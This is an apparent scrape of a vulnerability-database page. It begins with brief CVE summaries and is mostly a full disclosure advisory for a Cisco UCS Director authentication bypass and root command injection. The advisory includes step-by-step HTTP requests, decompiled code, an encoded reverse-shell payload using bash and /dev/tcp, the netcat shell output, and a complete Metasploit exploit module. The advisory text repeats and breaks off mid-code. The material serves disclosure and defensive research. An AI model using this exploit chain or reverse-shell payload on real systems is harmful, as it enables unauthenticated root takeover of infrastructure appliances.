VARIoT IoT vulnerabilities database

A vulnerability in Cisco RoomOS Software could allow an authenticated, local attacker to write files to the underlying filesystem with root privileges. The vulnerability is due to insufficient permission restrictions on a specific process. An attacker could exploit this vulnerability by logging in to an affected device with remote support credentials and initiating the specific process on the device and sending crafted data to that process. A successful exploit could allow the attacker to write files to the underlying file system with root privileges. Cisco RoomOS There is a permission vulnerability in the software.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Cisco RoomOS Software is a set of automatic management software for Cisco equipment from Cisco. This software is mainly used to upgrade and manage the motherboard firmware of Cisco equipment. There is an authorization problem vulnerability in Cisco RoomOS Software ce-9.7.3 and earlier versions

A vulnerability in Cisco HyperFlex Software could allow an unauthenticated, remote attacker to perform a man-in-the-middle attack. The vulnerability is due to insufficient key management. An attacker could exploit this vulnerability by obtaining a specific encryption key for the cluster. A successful exploit could allow the attacker to perform a man-in-the-middle attack against other nodes in the cluster. Cisco HyperFlex Software is a set of scalable distributed file systems from Cisco. The system provides unified computing, storage and network through cloud management, and provides enterprise-level data management and optimization services

A Server-Side Request Forgery (SSRF) vulnerability in the backup & restore functionality in earlier versions than ProSyst mBS SDK 8.2.6 and Bosch IoT Gateway Software 9.3.0 allows a remote attacker to forge GET requests to arbitrary URLs. In addition, this could potentially allow an attacker to read sensitive zip files from the local server. The vulnerability originates from improper design or implementation during code development of a network system or product

Some Huawei smart phones have a null pointer dereference vulnerability. An attacker crafts specific packets and sends to the affected product to exploit this vulnerability. Successful exploitation may cause the affected phone to be abnormal. plural Huawei For smartphone products, NULL A vulnerability related to pointer dereference exists.Service operation interruption (DoS) There is a possibility of being put into a state. Huawei Harry-AL00C and others are all smartphones from China's Huawei. A number of Huawei products have security vulnerabilities

P30, Mate 20, P30 Pro smartphones with software of versions earlier than ELLE-AL00B 9.1.0.193(C00E190R1P21), versions earlier than Hima-AL00B 9.1.0.135(C00E200R2P1), versions earlier than VOGUE-AL00A 9.1.0.193(C00E190R1P12) have a buffer overflow vulnerability on several , the system does not properly validate certain length parameter which an application transports to kernel. An attacker tricks the user to install a malicious application, successful exploit could cause malicious code execution. Huawei P30 and others are all smartphones of China's Huawei company

P30 smartphones with versions earlier than ELLE-AL00B 9.1.0.193(C00E190R1P21) have an out of bounds read vulnerability. The system does not properly validate certain length parameter which an application transports to kernel. An attacker tricks the user to install a malicious application, successful exploit could cause out of bounds read and information disclosure. The Huawei P30 is a smartphone from China's Huawei

A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) Software could allow an authenticated, remote attacker to inject arbitrary commands that are executed with root privileges on an affected device. The vulnerability is due to insufficient validation of user-supplied input by the affected software. An attacker could exploit this vulnerability by invoking an interface monitoring mechanism with a crafted argument on the affected software. A successful exploit could allow the attacker to inject and execute arbitrary, system-level commands with root privileges on an affected device. The software supports HTTP, SSH access, etc., and can perform operations such as starting, shutting down and restarting the server. The vulnerability stems from the fact that the program does not adequately authenticate command injection

A vulnerability in Cisco Webex Meetings Mobile (iOS) could allow an unauthenticated, remote attacker to gain unauthorized read access to sensitive data by using an invalid Secure Sockets Layer (SSL) certificate. The vulnerability is due to insufficient SSL certificate validation by the affected software. An attacker could exploit this vulnerability by supplying a crafted SSL certificate to an affected device. A successful exploit could allow the attacker to conduct man-in-the-middle attacks to decrypt confidential information on user connections to the affected software. Cisco Webex Meetings Mobile (iOS) Contains a certificate validation vulnerability.Information may be obtained

Leakage of stack traces in remote access to backup & restore in earlier versions than ProSyst mBS SDK 8.2.6 and Bosch IoT Gateway Software 9.2.0 allows remote attackers to gather information about the file system structure. ProSyst Softoware mBS SDK is a software development kit for OSGi application development by German ProSyst Softoware company. The vulnerability stems from configuration errors in the network system or product during operation. An unauthorized attacker could use the vulnerability to obtain sensitive information about the affected component

A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) Supervisor, Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an authenticated, remote attacker to execute arbitrary commands on the underlying Linux shell as the root user. Exploitation of this vulnerability requires privileged access to an affected device. The vulnerability is due to insufficient validation of user-supplied input by the web-based management interface. An attacker could exploit this vulnerability by logging in to the web-based management interface with administrator privileges and then sending a malicious request to a certain part of the interface. Cisco UCS Director is a heterogeneous platform for private cloud infrastructure as a service (IaaS). are all products of Cisco (Cisco). The following products and versions are affected: Cisco IMC Supervisor Version 2.1, Version 2.2.0.0 to Version 2.2.0.6; UCS Director Version 6.0, Version 6.5, Version 6.6.0.0, Version 6.6.1.0, Version 6.7.0.0, Version 6.7.1.0 ; UCS Director Express for Big Data version 3.0, version 3.5, version 3.6, version 3.7.0.0, version 3.7.1.0. It is built using Java and a variety of other technologies and distributed as a Linux based virtual appliance. A demo of the UCS virtual appliance can be freely downloaded from Cisco's website [1]. In addition, there is a default unprivileged user with a known password that can login via SSH and execute commands on the virtual appliance provided by Cisco. Two Metasploit modules were released with this advisory, one that exploits the authentication bypass and command injection, and another that exploits the default SSH password. However, Agile Information Security only tested Cisco UCS Director. Agile Information Security would like to thank Accenture Security (previously iDefense) [5] for handling the disclosure process with Cisco. It is a heterogeneous management platform that features multivendor task libraries with more than 2500 out-of-the-box workflow tasks for end-to-end converged and hyperconverged stack automation. You can extend your capabilities to: - Automate provisioning, orchestration, and management of Cisco and third-party infrastructure resources - Order resources and services from an intuitive self-service portal - Automate security and isolation models to provide repeatable services - Standardize and automate multitenant environments across shared infrastructure instances" >> Technical details: #1 Vulnerability: Web Interface Authentication Bypass / CWE-287 CVE-2019-1937 Cisco Bug ID: CSCvp19229 [2] Risk Classification: Critical Attack Vector: Remote Constraints: No authentication required Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and 6.7.0, see [2] for Cisco's list of affected versions UCS exposes a management web interface on ports 80 and 443 so that users of UCS can perform cloud management functions. Due to a number of coding errors and bad practices, it is possible for an unauthenticated attacker to obtain an administrative session by bypassing authentication. The following sequence of requests and responses shows the authentication bypass works. 1.1) First we send a request to ClientServlet to check our authentication status: GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Requested-With: XMLHttpRequest ... to which the server responds with a redirect to the login page since we are not authenticated: HTTP/1.1 302 Found Location: https://10.0.3.100/app/ui/login.jsp Content-Length: 0 Server: Web 1.2) We now follow the redirection to obtain a JSESSIONID cookie: GET /app/ui/login.jsp HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Requested-With: XMLHttpRequest And the server responds with our cookie: HTTP/1.1 200 OK Set-Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745; Path=/app; Secure; HttpOnly Server: Web 1.3) Then we repeat the request from 1.1), but this time with the JSESSIONID cookie obtained in 1.2): GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74; X-Requested-With: XMLHttpRequest ... and we still get redirected to the login page, as in step 1.1): HTTP/1.1 302 Found Location: https://10.0.3.100/app/ui/login.jsp Content-Length: 0 Server: Web 1.4) To completely bypass authentication, we just need to send the JSESSIONID cookie with added X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set to random values: GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Starship-UserSession-Key: ble X-Starship-Request-Key: bla Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74; X-Requested-With: XMLHttpRequest HTTP/1.1 200 OK Set-Cookie: JSESSIONID=971D41B487F637DA84FCAF9E97A479429D4031F465DA445168A493254AA104E3; Path=/app; Secure; HttpOnly Connection: close Server: Web Content-Length: 428 {"productaccess_id":0,"loginName":"admin","productId":"cloupia_service_portal","accessLevel":null,"isEulaAccepted":false,"eulaAcceptTime":null,"eulaSrcHost":null,"restKey":"bla","allowedOperations":null,"userType":null,"server":null,"domainName":null,"suspend":false,"starshipUserId":null,"starshipUserLocale":null,"isAdminPasswordReset":true,"profileId":0,"credentialId":"","isClassicUIEnabled":false,"starshipSessionId":"ble"} ... and just like that, we can see from the information the server returned that we are logged in as the "admin" user! From now on, we need to use the new JSESSIONID cookie returned by the server in 1.4) to have full administrative access to the UCS web interface. To summarise, our exploit needs to: a) obtain a JSESSIONID cookie b) "authenticate" it by sending a request to ClientServlet with the X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set to random values c) use the new JSESSIONID cookie returned in b) as the "admin" authenticated cookie In some cases, the server will authenticate the old cookie and not return a new one, but the effect is the same - the "old" JSESSIONID cookie will be authenticated as an "admin" cookie. Let's dig into the decompiled code, and see what is happening under the hood. All the coding errors that make this possible are in the class com.cloupia.client.web.auth.AuthenticationFilter, which as a javax.servlet.Filter subclass whose doFilter() function is invoked on every request that the server receives (as configured by the web application). A snippet of com.cloupia.client.web.auth.AuthenticationFilter.doFilter() is shown below, with comments preceded with ^^^: public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) { (...) httpRequest = (HttpServletRequest)request; logger.debug("doFilter url: " + httpRequest.getRequestURL().toString()); boolean isAuthenticated = this.authenticateUser(httpRequest); ^^^ 1.5) invokes authenticateUser() (function shown below) String samlLogoutRequest; if(!isAuthenticated) { ^^^ 1.6) if authenticateUser() returns false, we go into this branch samlLogoutRequest = request.getParameter("SAMLResponse"); logger.info("samlResponse-->" + samlLogoutRequest); if(samlLogoutRequest != null) { this.handleSAMLReponse(request, response, chain, samlLogoutRequest); } else { ^^^ 1.7) if there is no SAMLResponse HTTP parameter, we go into this branch HttpSession session; ProductAccess userBean; String requestedUri; if(this.isStarshipRequest(httpRequest)) { ^^^ 1.8) checks if isStarshipRequest() returns true (function shown below) session = null != httpRequest.getSession(false)?httpRequest.getSession(false):httpRequest.getSession(true); userBean = (ProductAccess)session.getAttribute("USER_IN_SESSION"); if(userBean == null) { ^^^ 1.9) if there is no session server side for this request, follow into this branch... try { userBean = new ProductAccess(); userBean.setCredentialId(""); userBean.setAdminPasswordReset(true); userBean.setProductId("cloupia_service_portal"); userBean.setProfileId(0); userBean.setRestKey(httpRequest.getHeader("X-Starship-Request-Key")); userBean.setStarshipUserId(httpRequest.getHeader("X-Starship-UserName-Key")); userBean.setLoginName("admin"); ^^^ 1.10) and create a new session with the user as "admin"! userBean.setStarshipSessionId(httpRequest.getHeader("X-Starship-UserSession-Key")); requestedUri = httpRequest.getHeader("X-Starship-UserRoles-Key"); userBean.setAccessLevel(requestedUri); if(requestedUri != null && requestedUri.equalsIgnoreCase("admin")) { AuthenticationManager authmgr = AuthenticationManager.getInstance(); userBean.setAccessLevel("Admin"); authmgr.evaluateAllowedOperations(userBean); } session.setAttribute("USER_IN_SESSION", userBean); session.setAttribute("DEFAULT_URL", STARSHIP_DEFAULT_URL); logger.info("userBean:" + userBean.getAccessLevel()); } catch (Exception var12) { logger.info("username/password wrong for rest api access - " + var12.getMessage()); } logger.info("userBean: " + userBean.getAccessLevel()); } chain.doFilter(request, response); (...) } As it can be read in the inline comments in the function above, our first hurdle at 1.5) is to make authenticateUser() return false: private boolean authenticateUser(HttpServletRequest request) { boolean isValidUser = false; HttpSession session = null; session = request.getSession(false); ^^^ 1.11) get the session for this request if(session != null) { ProductAccess user = (ProductAccess)session.getAttribute("USER_IN_SESSION"); if(user != null) { isValidUser = true; if(this.isStarshipRequest(request) && !user.isStarshipAccess(request.getHeader("X-Starship-UserSession-Key"))) { isValidUser = false; } else { logger.debug("AuthenticationFilter:authenticateUser - User " + user.getLoginName() + " has been previously authenticated"); } } } else { logger.info("AuthenticationFilter:authenticateUser - session is null"); ^^^ 1.12) no session found, return isValidUser which is false as set at the start of the function } return isValidUser; } This is easily done, and it works as expected - we do not have a session, so at 1.11) the session is null, and then we go into 1.12) which makes the function return false. We now go back to the doFilter() function, and go into the branch in 1.6). As we have not sent a SAMLResponse HTTP parameter, we follow into the 1.7) branch. Now we get to the critical part in 1.8). Here, isStarshipRequest() is invoked, and if it returns true, the server will create an "admin" session for us... private boolean isStarshipRequest(HttpServletRequest httpRequest) { return null != httpRequest.getHeader("X-Starship-UserSession-Key") && null != httpRequest.getHeader("X-Starship-Request-Key"); } isStarshipRequest() is shown above, and clearly the only thing we need to do to make it return true is to set the X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers. We then follow into 1.9) and 1.10), and we get our administrative session without having any credentials at all! Moreover, the session is completely stealthy and invisible to other users, as it does not appear in Administration -> Users and Groups -> All Users Login History nor in Administration -> Users and Groups -> Current Online Users. #2 Vulnerability: Default password for 'scpuser' / CWE-798 CVE-2019-1935 Cisco Bug ID: CSCvp19251 [3] Risk Classification: Critical Attack Vector: Remote Constraints: requires auth, does not, etc Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and 6.7.0, see [3] for Cisco's list of affected versions The UCS virtual appliance is configured with a user 'scpuser' that is supposed to be used for scp file transfer between UCS appliances and other Cisco modules. According to Cisco's documentation [7]: "An SCP user is used by server diagnostics and tech support upload operations for transferring files to the Cisco IMC Supervisor appliance using the SCP protocol. An scp user account cannot be used to login to the Cisco IMC Supervisor UI or the shelladmin." The web interface contains functionality to change the user password for the 'scpuser' in Administration -> Users and Groups -> SCP User Configuration, and in this page it says: "The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin" Apparently this is not true and not only the user can log in via SSH per default, but it does so with a default password of 'scpuser' if it not changed by the administrator after installation: UCS > ssh scpuser@10.0.3.100 Password: <scpuser> [scpuser@localhost ~]$ whoami scpuser #3 Vulnerability: Authenticated command injection via the web interface as root (CWE-78) CVE-2019-1936 Cisco Bug ID: CSCvp19245 [4] Risk Classification: Critical Attack Vector: Remote Constraints: requires authentication to the UCS web interface Affected versions: confirmed in Cisco UCS Director versions 6.6 and 6.7, see [4] for Cisco's list of affected versions As shown in #2, the web interface contains functionality to change the user password for the 'scpuser' in Administration -> Users and Groups -> SCP User Configuration. This is handled by the Java class com.cloupia.feature.cimc.forms.SCPUserConfigurationForm in doFormSubmit(), which is shown below, with my markers and comments preceded with ^^^: public FormResult doFormSubmit(String user, ReportContext context, String formId, FormFieldData[] data) throws Exception { logger.info((Object)"doFormSubmit invoked "); FormResult result = this.validateForm(context, this.getDefinition(), formId, data, true); if (result.getStatus() == 0) { try { SCPUserConfig existingConfig; FormFieldDataList datalist = new FormFieldDataList(data); String password = datalist.getById(FIELD_ID_PASSWORD).getValue(); ^^^ 3.1) gets "password" from the form sent by the user SCPUserConfig newSCPUserConfig = new SCPUserConfig(); newSCPUserConfig.setPassword(password); if ("**********".equals(password) && (existingConfig = CIMCPersistenceUtil.getSCPUserConfig()) != null) { newSCPUserConfig.setPassword(existingConfig.getPassword()); } CIMCPersistenceUtil.setSCPUserConfig(newSCPUserConfig); Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "echo -e \"" + password + "\\n" + password + "\" | (passwd --stdin " + "scpuser" + ")"}); ^^^ 3.2) runs /bin/sh with "password" argument p.waitFor(); datalist.getById(FIELD_ID_PASSWORD).setValue("**********"); result.setStatus(2); result.setStatusMessage(RBUtil.getString((String)"CIMCControllerFeature.form.scpuser.success.label")); return result; } catch (Exception ex) { result.setStatusMessage(ex.getMessage()); result.setStatus(1); return result; } } return result; } } In 3.1) we see that the function gets the "password" field from the from sent by the user, and in 3.2) it passes this input directly to Runtime.getRuntime().exec(), which leads to a clear command injection. This is run as root, as the web server runs as root and superuser access would be necessary anyway to change a password of another user. To obtain a reverse shell, we can send the following payload to ClientServlet, which will then invoke the SCPUserConfigurationForm.doFormSubmit(): POST /app/ui/ClientServlet HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/app/ux/index.html X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 945 Cookie: JSESSIONID=C72361B8C66F8FDF871F94C1FC1E07974E9B5B9E1C953D713E4DC305CB2D4CD1 formatType=json&apiName=ExecuteGenericOp&serviceName=InfraMgr&opName=doFormSubmit&opData=%7B%22param0%22%3A%22admin%22%2C%22param1%22%3A%7B%22ids%22%3Anull%2C%22targetCuicId%22%3Anull%2C%22uiMenuTag%22%3A23%2C%22cloudName%22%3Anull%2C%22filterId%22%3Anull%2C%22id%22%3Anull%2C%22type%22%3A10%7D%2C%22param2%22%3A%22scpUserConfig%22%2C%22param3%22%3A%5B%7B%22fieldId%22%3A%22FIELD_ID_USERNAME%22%2C%22value%22%3A%22scpuser%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_DESCRIPTION%22%2C%22value%22%3A%22The%20'scpuser'%20will%20be%20configured%20on%20this%20appliance%20in%20order%20to%20enable%20file%20transfer%20operations%20via%20the%20'scp'%20command.%20This%20user%20account%20cannot%20be%20used%20to%20login%20to%20the%20GUI%20or%20shelladmin.%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_PASSWORD%22%2C%22value%22%3A%22%60%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%33%2e%39%2f%34%34%34%34%20%30%3e%26%31%60%22%7D%5D%7D In the example above, the FIELD_ID_PASSWORD is set to "`bash -i >& /dev/tcp/10.0.3.9/4444 0>&1`", which returns a reverse shell to host 10.0.3.9 on port 4444 running as root: UCS > nc -lvkp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 10.0.3.100 55432 received! bash: no job control in this shell [root@localhost inframgr]# whoami root >> Exploitation summary: By chaining vulnerability #1 (authentication bypass) with vulnerability #3 (authenticated command injection as root), it is clear that an unauthenticated attacker with no privileges on the system can execute code as root, leading to total compromise of Cisco UCS Director. >> Vulnerability Fixes / Mitigation: According to Cisco [2] [3] [4] the three vulnerabilities described in this advisory were fixed in the product versions described below: Cisco IMC Supervisor releases 2.2.1.0 and later Cisco UCS Director releases 6.7.2.0 and later (recommended: 6.7.3.0) Cisco UCS Director Express for Big Data releases 3.7.2.0 and later (recommended: 3.7.3.0) >> References: [1] https://www.cisco.com/c/en/us/support/servers-unified-computing/ucs-director-evaluation/model.html [2] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred [4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj [5] https://www.accenture.com/us-en/service-idefense-security-intelligence [6] https://www.cisco.com/c/en/us/products/servers-unified-computing/ucs-director/index.html [7] https://www.cisco.com/c/en/us/td/docs/unified_computing/ucs/ucs-director/rack-server-guide/6-7/cisco-ucs-director-rack-server-mgmt-guide-67/cisco-ucs-director-rack-server-mgmt-guide-67_chapter_01011.html#task_1599289A49FB49D48486A66A8358A2AD >> Disclaimer: Please note that Agile Information Security (Agile InfoSec) relies on information provided by the vendor when listing fixed versions or products. Agile InfoSec does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerabilities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsibility, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market. All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business. -- Pedro Ribeiro Vulnerability and Reverse Engineer / Cyber Security Specialist pedrib@gmail.com PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C . ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution', 'Description' => %q{ The Cisco UCS Director virtual appliance contains two flaws that can be combined and abused by an attacker to achieve remote code execution as root. The first one, CVE-2019-1937, is an authentication bypass, that allows the attacker to authenticate as an administrator. This module combines both vulnerabilities to achieve the unauthenticated command injection as root. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-1937' ], # auth bypass [ 'CVE', '2019-1936' ], # command injection [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ], [ 'URL', 'FULL_DISC' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_bash', }, 'Targets' => [ [ 'Cisco UCS Director < 6.7.2.0', {} ], ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 21 2019' )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Connect with TLS', true]), OptString.new('TARGETURI', [true, "Default server path", '/']), ]) end def check # can't think of anything better then this res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'), 'method' => 'GET' }) if res and res.code == 302 return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def exploit # step 1: get a JSESSIONID cookie res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'), 'method' => 'GET' ) if res and (res.code == 200 or res.code == 302) jsession = res.get_cookies.split(';')[0] # step 2: authenticate our cookie as admin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'), 'cookie' => jsession, 'vars_get' => { 'apiName' => 'GetUserInfo' }, 'headers' => { # X-Requested-With and Referer headers are needed, else the server ignores us # The X-Starship headers are the key to this auth bypass vuln, see the References 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/", 'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}", 'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}" }, 'method' => 'GET' }) if res and res.code == 200 and res.body.include?("admin") if not res.get_cookies.empty? # if the server returns a new cookie, use that jsession = res.get_cookies.split(';')[0] end print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!") # step 3: request our reverse shell payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}} res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'), 'cookie' => jsession, 'headers' => { # X-Requested-With and Referer headers are needed, else the server ignores us # The X-Starship headers are the key to this auth bypass vuln, see the References 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/", }, 'method' => 'POST', 'vars_post' => { 'formatType' => 'json', 'apiName' => 'ExecuteGenericOp', 'serviceName' => 'InfraMgr', 'opName' => 'doFormSubmit', 'opData' => payload } }) if res and res.code == 200 print_good("#{peer} - Shelly is here, press ENTER to start playing with her!") end else fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") end else fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie") end end end

A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) Supervisor, Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an unauthenticated, remote attacker to acquire a valid session token with administrator privileges, bypassing user authentication. The vulnerability is due to insufficient request header validation during the authentication process. An attacker could exploit this vulnerability by sending a series of malicious requests to an affected device. An exploit could allow the attacker to use the acquired session token to gain full administrator access to the affected device. are all products of Cisco (Cisco). It is built using Java and a variety of other technologies and distributed as a Linux based virtual appliance. A demo of the UCS virtual appliance can be freely downloaded from Cisco's website [1]. Due to several coding errors, it is possible for an unauthenticated remote attacker with no privileges to bypass authentication and abuse a password change function to inject arbitrary commands and execute code as root. In addition, there is a default unprivileged user with a known password that can login via SSH and execute commands on the virtual appliance provided by Cisco. Two Metasploit modules were released with this advisory, one that exploits the authentication bypass and command injection, and another that exploits the default SSH password. However, Agile Information Security only tested Cisco UCS Director. Agile Information Security would like to thank Accenture Security (previously iDefense) [5] for handling the disclosure process with Cisco. >> Vendor description [6]: "Cisco UCS Director delivers a foundation for private cloud Infrastructure as a Service (IaaS). It is a heterogeneous management platform that features multivendor task libraries with more than 2500 out-of-the-box workflow tasks for end-to-end converged and hyperconverged stack automation. You can extend your capabilities to: - Automate provisioning, orchestration, and management of Cisco and third-party infrastructure resources - Order resources and services from an intuitive self-service portal - Automate security and isolation models to provide repeatable services - Standardize and automate multitenant environments across shared infrastructure instances" >> Technical details: #1 Vulnerability: Web Interface Authentication Bypass / CWE-287 CVE-2019-1937 Cisco Bug ID: CSCvp19229 [2] Risk Classification: Critical Attack Vector: Remote Constraints: No authentication required Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and 6.7.0, see [2] for Cisco's list of affected versions UCS exposes a management web interface on ports 80 and 443 so that users of UCS can perform cloud management functions. Due to a number of coding errors and bad practices, it is possible for an unauthenticated attacker to obtain an administrative session by bypassing authentication. The following sequence of requests and responses shows the authentication bypass works. 1.1) First we send a request to ClientServlet to check our authentication status: GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Requested-With: XMLHttpRequest ... to which the server responds with a redirect to the login page since we are not authenticated: HTTP/1.1 302 Found Location: https://10.0.3.100/app/ui/login.jsp Content-Length: 0 Server: Web 1.2) We now follow the redirection to obtain a JSESSIONID cookie: GET /app/ui/login.jsp HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Requested-With: XMLHttpRequest And the server responds with our cookie: HTTP/1.1 200 OK Set-Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745; Path=/app; Secure; HttpOnly Server: Web 1.3) Then we repeat the request from 1.1), but this time with the JSESSIONID cookie obtained in 1.2): GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74; X-Requested-With: XMLHttpRequest ... and we still get redirected to the login page, as in step 1.1): HTTP/1.1 302 Found Location: https://10.0.3.100/app/ui/login.jsp Content-Length: 0 Server: Web 1.4) To completely bypass authentication, we just need to send the JSESSIONID cookie with added X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set to random values: GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Starship-UserSession-Key: ble X-Starship-Request-Key: bla Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74; X-Requested-With: XMLHttpRequest HTTP/1.1 200 OK Set-Cookie: JSESSIONID=971D41B487F637DA84FCAF9E97A479429D4031F465DA445168A493254AA104E3; Path=/app; Secure; HttpOnly Connection: close Server: Web Content-Length: 428 {"productaccess_id":0,"loginName":"admin","productId":"cloupia_service_portal","accessLevel":null,"isEulaAccepted":false,"eulaAcceptTime":null,"eulaSrcHost":null,"restKey":"bla","allowedOperations":null,"userType":null,"server":null,"domainName":null,"suspend":false,"starshipUserId":null,"starshipUserLocale":null,"isAdminPasswordReset":true,"profileId":0,"credentialId":"","isClassicUIEnabled":false,"starshipSessionId":"ble"} ... and just like that, we can see from the information the server returned that we are logged in as the "admin" user! From now on, we need to use the new JSESSIONID cookie returned by the server in 1.4) to have full administrative access to the UCS web interface. To summarise, our exploit needs to: a) obtain a JSESSIONID cookie b) "authenticate" it by sending a request to ClientServlet with the X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set to random values c) use the new JSESSIONID cookie returned in b) as the "admin" authenticated cookie In some cases, the server will authenticate the old cookie and not return a new one, but the effect is the same - the "old" JSESSIONID cookie will be authenticated as an "admin" cookie. Let's dig into the decompiled code, and see what is happening under the hood. All the coding errors that make this possible are in the class com.cloupia.client.web.auth.AuthenticationFilter, which as a javax.servlet.Filter subclass whose doFilter() function is invoked on every request that the server receives (as configured by the web application). A snippet of com.cloupia.client.web.auth.AuthenticationFilter.doFilter() is shown below, with comments preceded with ^^^: public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) { (...) httpRequest = (HttpServletRequest)request; logger.debug("doFilter url: " + httpRequest.getRequestURL().toString()); boolean isAuthenticated = this.authenticateUser(httpRequest); ^^^ 1.5) invokes authenticateUser() (function shown below) String samlLogoutRequest; if(!isAuthenticated) { ^^^ 1.6) if authenticateUser() returns false, we go into this branch samlLogoutRequest = request.getParameter("SAMLResponse"); 